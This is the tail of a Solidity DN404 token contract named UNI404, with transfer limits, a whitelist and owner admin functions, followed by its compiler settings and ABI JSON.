/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* TRANSFERS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
function _transfer(address from, address to, uint256 amount) internal override {
DN404._transfer(from, to, amount);
if (from != to) _applyOutflowChecker(from, to, amount);
}
function _transferFromNFT(address from, address to, uint256 id, address msgSender)
internal
override
{
DN404._transferFromNFT(from, to, id, msgSender);
if (from != to) _applyOutflowChecker(from, to, _WAD);
}
function _applyOutflowChecker(address from, address to, uint256 outflow) internal {
unchecked {
if (_pair == address(0)) _pair = to;
if (from == _pair && !isWhitelisted(to)) {
_setAux(to, _getAux(to).update(outflow));
require(outflow <= maxTxAmount, "Tx amount limit");
require(balanceOf(address(to)) <= maxWalletAmount, "Wallet amount limit");
}
if (from != _pair) {
_setAux(from, _getAux(from).update(outflow));
if (to != _pair) _setAux(to, _getAux(to).update(outflow));
}
}
}
function _setWhitelisted(address target, bool status) internal {
_setAux(target, _getAux(target).setWhitelisted(status));
}
function isWhitelisted(address target) public view returns (bool) {
return _getAux(target).isWhitelisted();
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* ADMIN FUNCTIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
function setBaseURI(string calldata baseURI_) public onlyOwner {
_baseURI = baseURI_;
}
function removeLimits() public onlyOwner {
maxTxAmount = totalSupply();
maxWalletAmount = totalSupply();
}
function withdraw() public onlyOwner {
SafeTransferLib.safeTransferAllETH(msg.sender);
}
}
{
"compilationTarget": {
"UNI404.sol": "UNI404"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"DNAlreadyInitialized","type":"error"},{"inputs":[],"name":"InsufficientAllowance","type":"error"},{"inputs":[],"name":"InsufficientBalance","type":"error"},{"inputs":[],"name":"LinkMirrorContractFailed","type":"error"},{"inputs":[],"name":"MirrorAddressIsZero","type":"error"},{"inputs":[],"name":"SenderNotMirror","type":"error"},{"inputs":[],"name":"TokenDoesNotExist","type":"error"},{"inputs":[],"name":"TotalSupplyOverflow","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"SkipNFTSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"getSkipNFT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mirrorERC721","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revokeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"skipNFT","type":"bool"}],"name":"setSkipNFT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"result","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]